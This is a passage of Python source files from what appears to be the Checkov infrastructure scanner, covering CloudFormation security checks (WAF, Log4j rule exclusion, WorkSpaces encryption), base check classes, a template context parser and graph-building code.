f"Properties/Rules/[{idx_rule}]/Statement/ManagedRuleGroupStatement/Name" ] if managed_group.get("Name") == "AWSManagedRulesKnownBadInputsRuleSet": self.evaluated_keys.append( f"Properties/Rules/[{idx_rule}]/Statement/ManagedRuleGroupStatement/ExcludedRules" ) excluded_rules = managed_group.get("ExcludedRules") or [] # rule 'Log4JRCE' should not be set to count for idx_excluded_rule, excluded_rule in enumerate(excluded_rules): if isinstance(excluded_rule, dict) and excluded_rule.get("Name") == "Log4JRCE": self.evaluated_keys = [ f"Properties/Rules/[{idx_rule}]/Statement/ManagedRuleGroupStatement/Name", f"Properties/Rules/[{idx_rule}]/Statement/ManagedRuleGroupStatement/ExcludedRules/[{idx_excluded_rule}]/Name", ] return CheckResult.FAILED self.evaluated_keys.append(f"Properties/Rules/[{idx_rule}]/OverrideAction/None") override_action = rule.get("OverrideAction") # check for group override if override_action and next(iter(override_action.keys())) != "None": return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = WAFACLCVE202144228() ================================================ FILE: checkov/cloudformation/checks/resource/aws/WAFEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class WAFEnabled(BaseResourceValueCheck): def __init__(self): name = "CloudFront Distribution should have WAF enabled" id = "CKV_AWS_68" supported_resources = ['AWS::CloudFront::Distribution'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/DistributionConfig/WebACLId' def get_expected_value(self): return ANY_VALUE check = WAFEnabled() ================================================ FILE: checkov/cloudformation/checks/resource/aws/WorkspaceRootVolumeEncrypted.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class WorkspaceRootVolumeEncrypted(BaseResourceValueCheck): def __init__(self): name = "Ensure that Workspace root volumes are encrypted" id = "CKV_AWS_156" supported_resources = ['AWS::WorkSpaces::Workspace'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/RootVolumeEncryptionEnabled' check = WorkspaceRootVolumeEncrypted() ================================================ FILE: checkov/cloudformation/checks/resource/aws/WorkspaceUserVolumeEncrypted.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class WorkspaceUserVolumeEncrypted(BaseResourceValueCheck): def __init__(self): name = "Ensure that Workspace user volumes are encrypted" id = "CKV_AWS_155" supported_resources = ['AWS::WorkSpaces::Workspace'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/UserVolumeEncryptionEnabled' check = WorkspaceUserVolumeEncrypted() ================================================ FILE: checkov/cloudformation/checks/resource/aws/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/cloudformation/checks/resource/base_registry.py ================================================ from __future__ import annotations from typing import Any from checkov.common.bridgecrew.check_type import CheckType from checkov.common.checks.base_check_registry import BaseCheckRegistry class Registry(BaseCheckRegistry): def __init__(self) -> None: super().__init__(report_type=CheckType.CLOUDFORMATION) def extract_entity_details(self, entity: dict[str, dict[str, Any]]) -> tuple[str, str, dict[str, Any]]: resource_name, resource = next(iter(entity.items())) resource_type = resource["Type"] return resource_type, resource_name, resource ================================================ FILE: checkov/cloudformation/checks/resource/base_resource_check.py ================================================ from abc import abstractmethod from collections.abc import Iterable from typing import Optional, Dict, Any from checkov.cloudformation.checks.resource.registry import cfn_registry from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories, CheckResult class BaseResourceCheck(BaseCheck): def __init__( self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_resources: "Iterable[str]", guideline: Optional[str] = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type="resource", guideline=guideline, ) self.supported_resources = supported_resources cfn_registry.register(self) def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str) -> CheckResult: self.entity_type = entity_type return self.scan_resource_conf(conf) @abstractmethod def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/cloudformation/checks/resource/base_resource_negative_value_check.py ================================================ from abc import abstractmethod from collections.abc import Iterable from typing import List, Any, Optional, Dict from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.cloudformation.context_parser import ContextParser from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckResult, CheckCategories class BaseResourceNegativeValueCheck(BaseResourceCheck): def __init__( self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_resources: "Iterable[str]", missing_block_result: CheckResult = CheckResult.FAILED, ) -> None: super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) self.missing_block_result = missing_block_result def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: excluded_key = self.get_excluded_key() if excluded_key is not None: path_elements = excluded_key.split("/") matches = ContextParser.search_deep_keys(path_elements[-1], conf, []) if len(matches) > 0: for match in matches: if match[:-1] == path_elements: if isinstance(match, list) and len(match) == 1: match = match[0] if self.check_excluded_condition(match): return CheckResult.PASSED inspected_key = self.get_inspected_key() bad_values = self.get_forbidden_values() path_elements = inspected_key.split("/") matches = ContextParser.search_deep_keys(path_elements[-1], conf, []) if len(matches) > 0: for match in matches: if match[:-1] == path_elements: if match[-1] in bad_values or ANY_VALUE in bad_values: return CheckResult.FAILED return CheckResult.PASSED @abstractmethod def get_inspected_key(self) -> str: """ :return: JSONPath syntax path of the checked attribute """ raise NotImplementedError() @abstractmethod def get_forbidden_values(self) -> List[Any]: """ Returns a list of vulnerable values for the inspected key, governed by provider best practices """ raise NotImplementedError() def get_excluded_key(self) -> Optional[str]: """ :return: JSONPath syntax path of the an attribute that provides exclusion condition for the inspected key """ return None def check_excluded_condition(self, value: Any) -> bool: """ :param: value: value for excluded_key :return: True if the value should exclude the check from failing if the inspected key has a bad value """ return False def get_evaluated_keys(self) -> List[str]: return [self.get_inspected_key()] ================================================ FILE: checkov/cloudformation/checks/resource/base_resource_value_check.py ================================================ from __future__ import annotations import re from abc import abstractmethod from collections.abc import Iterable from typing import List, Any from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.cloudformation.context_parser import ContextParser from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list from checkov.common.util.var_utils import is_cloudformation_variable_dependent ARRAY_INDEX_PATTERN = re.compile(r"^\[?\d+\]?$") VARIABLE_DEPENDANT_REGEX = re.compile(r"(?:Ref)\.[^\s]+") class BaseResourceValueCheck(BaseResourceCheck): def __init__( self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_resources: "Iterable[str]", missing_block_result: CheckResult = CheckResult.FAILED, ) -> None: super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) self.missing_block_result = missing_block_result @staticmethod def _filter_key_path(path: str) -> List[str]: """ Filter an attribute path to contain only named attributes by dropping array indices from the path) :param path: valid JSONPath of an attribute :return: List of named attributes with respect to the input JSONPath order """ return [x for x in path.split("/") if not re.search(ARRAY_INDEX_PATTERN, x)] @staticmethod def _is_variable_dependant(value: Any) -> bool: return is_cloudformation_variable_dependent(value) @staticmethod def _is_nesting_key(inspected_attributes: List[str], key: str) -> bool: """ Resolves whether a key is a subset of the inspected nesting attributes :param inspected_attributes: list of nesting attributes :param key: JSONPath key of an attribute :return: True/False """ return any(x in key for x in inspected_attributes) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: inspected_key = self.get_inspected_key() expected_values = self.get_expected_values() path_elements = inspected_key.split("/") matches = ContextParser.search_deep_keys(path_elements[-1], conf, []) if len(matches) > 0: for match in matches: # CFN files are parsed differently from terraform, which causes the path search above to behave differently. # The result is path parts with integer indexes, instead of strings like '[0]'. This logic replaces # those, allowing inspected_keys in checks to use the same syntax. # The last value shouldn't be changed, because it could be indeed a valid number for i in range(0, len(match) - 1): if type(match[i]) is int: match[i] = f"[{match[i]}]" if match[:-1] == path_elements: # Inspected key exists value = match[-1] if ANY_VALUE in expected_values and value is not None and (not isinstance(value, str) or value): # Key is found on the configuration - if it accepts any value, the check is PASSED return CheckResult.PASSED if isinstance(value, list) and len(value) == 1: value = value[0] if self._is_variable_dependant(value): # If the tested attribute is variable-dependant, then result is PASSED return CheckResult.PASSED if value in expected_values: return CheckResult.PASSED # handle boolean case sensitivity (e.g., CFN accepts the string "true" as a boolean) if isinstance(value, str) and value.lower() in ('true', 'false'): value = value.lower() == 'true' if value in expected_values: return CheckResult.PASSED return CheckResult.FAILED return self.missing_block_result @abstractmethod def get_inspected_key(self) -> str: """ :return: JSONPath syntax path of the checked attribute """ raise NotImplementedError() def get_expected_values(self) -> List[Any]: """ Override the method with the list of acceptable values if the check has more than one possible expected value, given the inspected key :return: List of expected values, defaults to a list of the expected value """ return [self.get_expected_value()] def get_expected_value(self) -> Any: """ Returns the default expected value, governed by provider best practices """ return True def get_evaluated_keys(self) -> List[str]: return force_list(self.get_inspected_key()) ================================================ FILE: checkov/cloudformation/checks/resource/registry.py ================================================ from checkov.cloudformation.checks.resource.base_registry import Registry cfn_registry = Registry() ================================================ FILE: checkov/cloudformation/checks/utils/__init__.py ================================================ ================================================ FILE: checkov/cloudformation/checks/utils/iam_cloudformation_document_to_policy_converter.py ================================================ from __future__ import annotations from typing import Any from checkov.common.util.data_structures_utils import pickle_deepcopy def convert_cloudformation_conf_to_iam_policy(conf: dict[str, Any]) -> dict[str, Any]: """ converts terraform parsed configuration to iam policy document """ result = pickle_deepcopy(conf) if "Statement" in result.keys(): result["Statement"] = result.pop("Statement") for statement in map(dict, result["Statement"]): if "Action" in statement: statement["Action"] = str(statement.pop("Action")[0]) if "Resource" in statement: resources = statement.pop("Resource") if isinstance(resources, list): statement["Resource"] = str(resources[0]) else: statement["Resource"] = str(resources) if "NotAction" in statement: statement["NotAction"] = str(statement.pop("NotAction")[0]) if "NotResource" in statement: not_resources = statement.pop("NotResource") if isinstance(not_resources, list): statement["NotResource"] = str(not_resources[0]) else: statement["NotResource"] = str(not_resources) if "Effect" in statement: statement["Effect"] = str(statement.pop("Effect")) if "Effect" not in statement: statement["Effect"] = "Allow" return result ================================================ FILE: checkov/cloudformation/context_parser.py ================================================ from __future__ import annotations import itertools import logging import operator from functools import reduce from typing import List, Tuple, Optional, Generator, Any from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration from checkov.common.typing import _SkippedCheck from checkov.common.util.suppression import collect_suppressions_for_context ENDLINE = "__endline__" STARTLINE = "__startline__" class ContextParser: """ CloudFormation template context parser """ def __init__(self, cf_file: str, cf_template: dict[str, Any], cf_template_lines: List[Tuple[int, str]]) -> None: self.cf_file = cf_file self.cf_template = cf_template self.cf_template_lines = cf_template_lines def evaluate_default_refs(self) -> None: # Get Parameter Defaults - Locate Refs in Template refs = self.search_deep_keys("Ref", self.cf_template, []) for ref in refs: refname = ref.pop() ref.pop() # Get rid of the 'Ref' dict key # TODO refactor into evaluations if not isinstance(refname, str): continue default_value = self.cf_template.get("Parameters", {}).get(refname, {}).get("Properties", {}).get("Default") if default_value is not None: logging.debug( "Replacing Ref {} in file {} with default parameter value: {}".format( refname, self.cf_file, default_value ) ) self._set_in_dict(self.cf_template, ref, default_value) # TODO - Add Variable Eval Message for Output # Output in Checkov looks like this: # Variable versioning (of /.) evaluated to value "True" in expression: enabled = ${var.versioning} @staticmethod def extract_cf_resource_id(cf_resource: dict[str, Any], cf_resource_name: str) -> Optional[str]: if cf_resource_name == STARTLINE or cf_resource_name == ENDLINE: return None if "Type" not in cf_resource: # This is not a CloudFormation resource, skip return None return f"{cf_resource['Type']}.{cf_resource_name}" def extract_cf_resource_code_lines( self, cf_resource: dict[str, Any] ) -> Tuple[Optional[List[int]], Optional[List[Tuple[int, str]]]]: find_lines_result_set = set(self.find_lines(cf_resource, STARTLINE)) if len(find_lines_result_set) >= 1: start_line = min(find_lines_result_set) end_line = max(self.find_lines(cf_resource, ENDLINE)) # start_line - 2: -1 to switch to 0-based indexing, and -1 to capture the resource name entity_code_lines = self.cf_template_lines[start_line - 2 : end_line - 1] # if the file did not end in a new line, and this was the last resource in the file, then we # trimmed off the last line if (end_line - 1) < len(self.cf_template_lines) and not self.cf_template_lines[end_line - 1][1].endswith( "\n" ): entity_code_lines.append(self.cf_template_lines[end_line - 1]) entity_code_lines = ContextParser.trim_lines(entity_code_lines) entity_lines_range = [entity_code_lines[0][0], entity_code_lines[-1][0]] return entity_lines_range, entity_code_lines return None, None @staticmethod def trim_lines(code_lines: List[Tuple[int, str]]) -> List[Tuple[int, str]]: # Removes leading and trailing lines that are only whitespace, returning a new value # The passed value should be a list of tuples of line numbers and line strings (entity_code_lines) start = 0 end = len(code_lines) while start < end and not code_lines[start][1].strip(): start += 1 while end > start and not code_lines[end - 1][1].strip(): end -= 1 # if start == end, this will just be empty return code_lines[start:end] @staticmethod def find_lines(node: Any, kv: str) -> Generator[int, None, None]: # Hack to allow running checkov on json templates # CF scripts that are parsed using the yaml mechanism have a magic STARTLINE and ENDLINE property # CF scripts that are parsed using the json mechanism use dicts that have a marker if hasattr(node, "start_mark") and kv == STARTLINE: yield node.start_mark.line + 1 if hasattr(node, "end_mark") and kv == ENDLINE: yield node.end_mark.line + 1 if isinstance(node, list): for i in node: for x in ContextParser.find_lines(i, kv): yield x elif isinstance(node, dict): if kv in node: yield node[kv] @staticmethod def collect_skip_comments( entity_code_lines: List[Tuple[int, str]], resource_config: dict[str, Any] | None = None ) -> List[_SkippedCheck]: skipped_checks = collect_suppressions_for_context(code_lines=entity_code_lines) bc_id_mapping = metadata_integration.bc_to_ckv_id_mapping if resource_config: metadata = resource_config.get("Metadata") if metadata: ckv_skip = metadata.get("checkov", {}).get("skip", []) bc_skip = metadata.get("bridgecrew", {}).get("skip", []) if ckv_skip or bc_skip: for skip in itertools.chain(ckv_skip, bc_skip): skip_id = skip.get("id") skip_comment = skip.get("comment", "No comment provided") if skip_id is None: logging.warning("Check suppression is missing key 'id'") continue skipped_check: "_SkippedCheck" = {"id": skip_id, "suppress_comment": skip_comment} if bc_id_mapping and skipped_check["id"] in bc_id_mapping: skipped_check["bc_id"] = skipped_check["id"] skipped_check["id"] = bc_id_mapping[skipped_check["id"]] elif metadata_integration.check_metadata: skipped_check["bc_id"] = metadata_integration.get_bc_id(skipped_check["id"]) skipped_checks.append(skipped_check) return skipped_checks @staticmethod def search_deep_keys( search_text: str, cfn_dict: str | list[Any] | dict[str, Any], path: list[int | str] ) -> list[list[int | str]]: """Search deep for keys and get their values""" keys: list[list[int | str]] = [] if isinstance(cfn_dict, dict): for key in cfn_dict: pathprop = path[:] pathprop.append(key) if key == search_text: pathprop.append(cfn_dict[key]) keys.append(pathprop) # pop the last element off for nesting of found elements for # dict and list checks pathprop = pathprop[:-1] if isinstance(cfn_dict[key], dict): keys.extend(ContextParser.search_deep_keys(search_text, cfn_dict[key], pathprop)) elif isinstance(cfn_dict[key], list): for index, item in enumerate(cfn_dict[key]): pathproparr = pathprop[:] pathproparr.append(index) keys.extend(ContextParser.search_deep_keys(search_text, item, pathproparr)) elif isinstance(cfn_dict, list): for index, item in enumerate(cfn_dict): pathprop = list(path) pathprop.append(index) keys.extend(ContextParser.search_deep_keys(search_text, item, pathprop)) return keys def _set_in_dict(self, data_dict: dict[str, Any], map_list: list[Any], value: str) -> None: v = self._get_from_dict(data_dict, map_list[:-1]) # save the original marks so that we do not copy in the line numbers of the parameter element # but not all ref types will have these attributes start = None end = None if hasattr(v, "start_mark") and hasattr(v, "end_mark"): start = v.start_mark end = v.end_mark v[map_list[-1]] = value if hasattr(v[map_list[-1]], "start_mark") and start and end: v[map_list[-1]].start_mark = start v[map_list[-1]].end_mark = end @staticmethod def _get_from_dict(data_dict: dict[str, Any], map_list: list[Any]) -> list[Any] | dict[str, Any]: return reduce(operator.getitem, map_list, data_dict) ================================================ FILE: checkov/cloudformation/graph_builder/__init__.py ================================================ ================================================ FILE: checkov/cloudformation/graph_builder/graph_components/__init__.py ================================================ ================================================ FILE: checkov/cloudformation/graph_builder/graph_components/block_types.py ================================================ from dataclasses import dataclass from checkov.common.graph.graph_builder.graph_components.block_types import BlockType as CommonBlockType @dataclass class BlockType(CommonBlockType): METADATA = "metadata" PARAMETERS = "parameters" RULES = "rules" MAPPINGS = "mappings" CONDITIONS = "conditions" TRANSFORM = "transform" OUTPUTS = "outputs" GLOBALS = "globals" ================================================ FILE: checkov/cloudformation/graph_builder/graph_components/blocks.py ================================================ from __future__ import annotations import logging from typing import List, Dict, Any, Optional from checkov.common.graph.graph_builder.graph_components.blocks import Block from checkov.common.graph.graph_builder.variable_rendering.breadcrumb_metadata import BreadcrumbMetadata class CloudformationBlock(Block): __slots__ = ("condition", "metadata") def __init__( self, name: str, config: Dict[str, Any], path: str, block_type: str, attributes: Dict[str, Any], id: str = "", source: str = "", condition: bool = True, metadata: Optional[Dict[str, Any]] = None ) -> None: """ :param name: unique name given to the terraform block, for example: 'aws_vpc.example_name' :param config: the section in tf_definitions that belong to this block :param path: the file location of the block :param block_type: str :param attributes: dictionary of the block's original attributes in the terraform file """ super().__init__(name, config, path, block_type, attributes, id, source) self.condition = condition self.metadata = metadata def update_attribute( self, attribute_key: str, attribute_value: Any, change_origin_id: int | None, previous_breadcrumbs: List[BreadcrumbMetadata], attribute_at_dest: str | None, transform_step: bool = False, ) -> None: super().update_attribute( attribute_key=attribute_key, attribute_value=attribute_value, change_origin_id=change_origin_id, previous_breadcrumbs=previous_breadcrumbs, attribute_at_dest=attribute_at_dest, transform_step=transform_step, ) attribute_key_parts = attribute_key.split(".") if attribute_key_parts: obj_to_update = self.attributes key_to_update = attribute_key_parts.pop() for i, key in enumerate(attribute_key_parts): if isinstance(obj_to_update, list): key = int(key) if (isinstance(obj_to_update, dict) and key in obj_to_update) or \ (isinstance(obj_to_update, list) and isinstance(key, int) and 0 <= key < len( obj_to_update)): obj_to_update = obj_to_update[key] else: attribute_key_parts.append(key_to_update) key_to_update = ".".join(attribute_key_parts[i:]) break if isinstance(obj_to_update, list): key_to_update = int(key_to_update) if isinstance(obj_to_update, (dict, list)): obj_to_update[key_to_update] = attribute_value else: logging.info(f"Failed to update an attribute, values: {obj_to_update}, {key_to_update}, {attribute_value}") def update_inner_attribute( self, attribute_key: str, nested_attributes: list[Any] | dict[str, Any], value_to_update: Any ) -> None: # this overrides the parent method, which doesn't work as expected with CloudFormation pass @staticmethod def _should_add_previous_breadcrumbs(change_origin_id: Optional[int], previous_breadcrumbs: List[BreadcrumbMetadata], attribute_at_dest: Optional[str]) -> bool: return ( change_origin_id is not None and attribute_at_dest is not None and (not previous_breadcrumbs or previous_breadcrumbs[-1].vertex_id != change_origin_id) ) @staticmethod def _should_set_changed_attributes(change_origin_id: Optional[int], attribute_at_dest: Optional[str]) -> bool: return change_origin_id is not None and attribute_at_dest is not None ================================================ FILE: checkov/cloudformation/graph_builder/graph_components/generic_resource_encryption.py ================================================ from __future__ import annotations from checkov.common.graph.graph_builder import EncryptionTypes from checkov.common.graph.graph_builder.graph_components.generic_resource_encryption_base import GenericResourceEncryptionBase from checkov.common.util.data_structures_utils import get_empty_list_str class GenericResourceEncryption(GenericResourceEncryptionBase): def __init__( self, resource_type: str, attribute_values_map: dict[str, list[bool] | list[str]], enabled_by_default: bool = False, ) -> None: super().__init__(resource_type, attribute_values_map, enabled_by_default, node_to_node_encryption="NodeToNodeEncryptionOptions") if self.resource_type.startswith("AWS::"): self.default_description = EncryptionTypes.DEFAULT_KMS.value # This map allows dynamically creating the check for each resource type based on GenericResourceEncryption. # Please check out the constructor to understand all the edge cases. ENCRYPTION_BY_RESOURCE_TYPE: dict[str, GenericResourceEncryption] = { "AWS::ECR::Repository": GenericResourceEncryption( "AWS::ECR::Repository", { "EncryptionConfiguration.EncryptionType": [EncryptionTypes.AES256.value, EncryptionTypes.KMS_VALUE.value], "EncryptionConfiguration.KmsKey": get_empty_list_str(), }, ), "AWS::Neptune::DBCluster": GenericResourceEncryption( "AWS::Neptune::DBCluster", {"StorageEncrypted": [True], "KmsKeyId": get_empty_list_str()} ), "AWS::EFS::FileSystem": GenericResourceEncryption("AWS::EFS::FileSystem", {"Encrypted": [True], "KmsKeyId": get_empty_list_str()}), "AWS::EC2::Volume": GenericResourceEncryption("AWS::EC2::Volume", {"Encrypted": [True], "KmsKeyId": get_empty_list_str()}), "AWS::ElastiCache::ReplicationGroup": GenericResourceEncryption( "AWS::ElastiCache::ReplicationGroup", {"AtRestEncryptionEnabled": [True], "KmsKeyId": ["arn"]} ), "AWS::Elasticsearch::Domain": GenericResourceEncryption( "AWS::Elasticsearch::Domain", {"EncryptionAtRestOptions.Enabled": [True], "EncryptionAtRestOptions.KmsKeyId": get_empty_list_str(), "NodeToNodeEncryptionOptions.Enabled": [True]}, ), "AWS::MSK::Cluster": GenericResourceEncryption( "AWS::MSK::Cluster", {"EncryptionInfo.EncryptionAtRest.DataVolumeKMSKeyId": get_empty_list_str()} ), "AWS::DocDB::DBCluster": GenericResourceEncryption( "AWS::DocDB::DBCluster", {"StorageEncrypted": [True], "KmsKeyId": get_empty_list_str()} ), "AWS::CodeBuild::Project": GenericResourceEncryption("AWS::CodeBuild::Project", {"EncryptionKey": get_empty_list_str()}), "AWS::CodeBuild::ReportGroup": GenericResourceEncryption( "AWS::CodeBuild::ReportGroup", { "ExportConfig.S3Destination.EncryptionDisabled": [False], "ExportConfig.S3Destination.EncryptionKey": get_empty_list_str(), }, ), "AWS::Athena::WorkGroup": GenericResourceEncryption( "AWS::Athena::WorkGroup", { "WorkGroupConfiguration.ResultConfiguration.EncryptionConfiguration.EncryptionOption": [ "SSE_S3", "SSE_KMS", "CSE_KMS", ], "WorkGroupConfiguration.ResultConfiguration.EncryptionConfiguration.KmsKey": get_empty_list_str(), }, ), "AWS::Kinesis::Stream": GenericResourceEncryption( "AWS::Kinesis::Stream", {"StreamEncryption.EncryptionType": [EncryptionTypes.KMS_VALUE.value], "StreamEncryption.KeyId": get_empty_list_str()} ), "AWS::EKS::Cluster": GenericResourceEncryption("AWS::EKS::Cluster", {"EncryptionConfig.Provider.KeyArn": get_empty_list_str()}), "AWS::DynamoDB::Table": GenericResourceEncryption( "AWS::DynamoDB::Table", {"SSESpecification.SSEEnabled": [True], "SSESpecification.KMSMasterKeyId": get_empty_list_str(), "SSESpecification.SSEType": get_empty_list_str()}, enabled_by_default=True, ), "AWS::RDS::DBCluster": GenericResourceEncryption("AWS::RDS::DBCluster", {"StorageEncrypted": [True], "KmsKeyId": get_empty_list_str()}), "AWS::RDS::GlobalCluster": GenericResourceEncryption("AWS::RDS::GlobalCluster", {"StorageEncrypted": [True]}), "AWS::S3::Bucket": GenericResourceEncryption( "AWS::S3::Bucket", { "BucketEncryption.ServerSideEncryptionConfiguration.ServerSideEncryptionByDefault.SSEAlgorithm": [ EncryptionTypes.AWS_KMS_VALUE.value, EncryptionTypes.AES256.value, ], "server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.KMSMasterKeyID": get_empty_list_str(), }, ), "AWS::Logs::LogGroup": GenericResourceEncryption( "AWS::Logs::LogGroup", {"KmsKeyId": get_empty_list_str()}, enabled_by_default=True ), "AWS::CloudTrail::Trail": GenericResourceEncryption("AWS::CloudTrail::Trail", {"KMSKeyId": get_empty_list_str()}), "AWS::DAX::Cluster": GenericResourceEncryption("AWS::DAX::Cluster", {"SSESpecification.SSEEnabled": [True]}), "AWS::Redshift::Cluster": GenericResourceEncryption("AWS::Redshift::Cluster", {"Encrypted": [True], "KmsKeyId": get_empty_list_str()}), "AWS::SNS::Topic": GenericResourceEncryption("AWS::SNS::Topic", {"KmsMasterKeyId": get_empty_list_str()}), "AWS::SQS::Queue": GenericResourceEncryption("AWS::SQS::Queue", {"KmsMasterKeyId": get_empty_list_str()}), "AWS::RDS::DBInstance": GenericResourceEncryption("AWS::RDS::DBInstance", {"StorageEncrypted": [True]}) } ================================================ FILE: checkov/cloudformation/graph_builder/graph_to_definitions.py ================================================ from __future__ import annotations import os from typing import List, Dict, Any, Tuple from checkov.cloudformation.graph_builder.graph_components.block_types import BlockType from checkov.cloudformation.parser import TemplateSections from checkov.cloudformation.graph_builder.graph_components.blocks import CloudformationBlock def convert_graph_vertices_to_definitions( vertices: List[CloudformationBlock], root_folder: str | None ) -> Tuple[Dict[str, Dict[str, Any]], Dict[str, Dict[str, Any]]]: definitions: Dict[str, Dict[str, Any]] = {} breadcrumbs: Dict[str, Dict[str, Any]] = {} for vertex in vertices: if (vertex.block_type != BlockType.RESOURCE and vertex.block_type != BlockType.PARAMETERS) or \ (vertex.block_type == BlockType.RESOURCE and not vertex.condition): continue block_path = vertex.path block_type = TemplateSections.RESOURCES.value if vertex.block_type == 'resource' else TemplateSections.PARAMETERS.value block_name = vertex.name.split('.')[-1] # vertex.name is "type.name" so type.name -> [type, name] definition = { "Type": vertex.attributes["resource_type"] if vertex.block_type == BlockType.RESOURCE else vertex.block_type, "Properties": vertex.config or {}, } if vertex.metadata: definition["Metadata"] = vertex.metadata definitions.setdefault(block_path, {}).setdefault(block_type, {}).setdefault(block_name, definition) relative_block_path = f"/{os.path.relpath(block_path, root_folder)}" add_breadcrumbs(vertex, breadcrumbs, relative_block_path) return definitions, breadcrumbs def add_breadcrumbs(vertex: CloudformationBlock, breadcrumbs: Dict[str, Dict[str, Any]], relative_block_path: str) -> None: vertex_breadcrumbs = vertex.breadcrumbs if vertex_breadcrumbs: breadcrumbs.setdefault(relative_block_path, {})[vertex.name] = vertex_breadcrumbs ================================================ FILE: checkov/cloudformation/graph_builder/local_graph.py ================================================ from __future__ import annotations import logging import re from inspect import ismethod from typing import Dict, Any, Optional, List, Union, TYPE_CHECKING, Callable, cast from checkov.cloudformation.graph_builder.graph_components.block_types import BlockType from checkov.cloudformation.graph_builder.graph_components.blocks import CloudformationBlock from checkov.cloudformation.graph_builder.utils import GLOBALS_RESOURCE_TYPE_MAP from checkov.cloudformation.graph_builder.variable_rendering.renderer import CloudformationVariableRenderer from checkov.cloudformation.parser.cfn_keywords import IntrinsicFunctions, ConditionFunctions, ResourceAttributes, \ TemplateSections from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.parsers.node import DictNode from checkov.common.graph.graph_builder import Edge from checkov.common.graph.graph_builder.local_graph import LocalGraph from checkov.common.util.consts import START_LINE, END_LINE from checkov.common.util.data_structures_utils import search_deep_keys, pickle_deepcopy from checkov.cloudformation.graph_builder.graph_components.generic_resource_encryption import ENCRYPTION_BY_RESOURCE_TYPE from checkov.common.graph.graph_builder.utils import filter_sub_keys from checkov.terraform.graph_builder.local_graph import update_dictionary_attribute if TYPE_CHECKING: from checkov.common.graph.graph_builder.graph_components.blocks import Block TOKENIZED_FIELD_PATTERN = re.compile(r'\${([a-zA-Z0-9.]*)}') class CloudformationLocalGraph(LocalGraph[CloudformationBlock]): SUPPORTED_RESOURCE_ATTR_CONNECTION_KEYS = (ResourceAttributes.DEPENDS_ON, IntrinsicFunctions.CONDITION) SUPPORTED_FN_CONNECTION_KEYS = (IntrinsicFunctions.GET_ATT, ConditionFunctions.IF, IntrinsicFunctions.REF, IntrinsicFunctions.FIND_IN_MAP, IntrinsicFunctions.CONDITION) def __init__(self, cfn_definitions: dict[str, dict[str, Any]], source: str = GraphSource.CLOUDFORMATION) -> None: super().__init__() self.definitions = cfn_definitions self.source = source self.vertices: "list[CloudformationBlock]" = [] self._vertices_indexes: "dict[str, dict[str, int]]" = {} self.transform_pre: "dict[str, Any]" = {} self._edges_set: "set[Edge]" = set() self._connection_key_func = { IntrinsicFunctions.GET_ATT: self._fetch_getatt_target_id, ConditionFunctions.IF: self._fetch_if_target_id, IntrinsicFunctions.REF: self._fetch_ref_target_id, IntrinsicFunctions.FIND_IN_MAP: self._fetch_findinmap_target_id, IntrinsicFunctions.CONDITION: self._fetch_connection_target_id } def build_graph(self, render_variables: bool) -> None: self._create_vertices() logging.info(f"[CloudformationLocalGraph] created {len(self.vertices)} vertices") self._add_sam_globals() self._create_edges() logging.info(f"[CloudformationLocalGraph] created {len(self.edges)} edges") if render_variables: logging.info(f"Rendering variables, graph has {len(self.vertices)} vertices and {len(self.edges)} edges") renderer = CloudformationVariableRenderer(self) renderer.render_variables_from_local_graph() self.update_vertices_configs() self.update_vertices_breadcrumbs() self.calculate_encryption_attribute(ENCRYPTION_BY_RESOURCE_TYPE) def _create_vertices(self) -> None: for file_path, file_conf in self.definitions.items(): self._create_section_vertices( file_path, file_conf, TemplateSections.RESOURCES, BlockType.RESOURCE, self.extract_resource_attributes, # type:ignore[arg-type] ) self._create_section_vertices(file_path, file_conf, TemplateSections.OUTPUTS, BlockType.OUTPUTS) self._create_section_vertices(file_path, file_conf, TemplateSections.MAPPINGS, BlockType.MAPPINGS) self._create_section_vertices(file_path, file_conf, TemplateSections.CONDITIONS, BlockType.CONDITIONS) self._create_section_vertices(file_path, file_conf, TemplateSections.PARAMETERS, BlockType.PARAMETERS) self._create_section_vertices(file_path, file_conf, TemplateSections.GLOBALS, BlockType.GLOBALS) for i, vertex in enumerate(self.vertices): self.vertices_by_block_type[vertex.block_type].append(i) self.vertices_block_name_map[vertex.block_type][vertex.name].append(i) def extract_resource_attributes(self, resource: DictNode) -> DictNode: resource_type = resource.get("Type") attributes: "DictNode" = resource.get("Properties", {}) if not 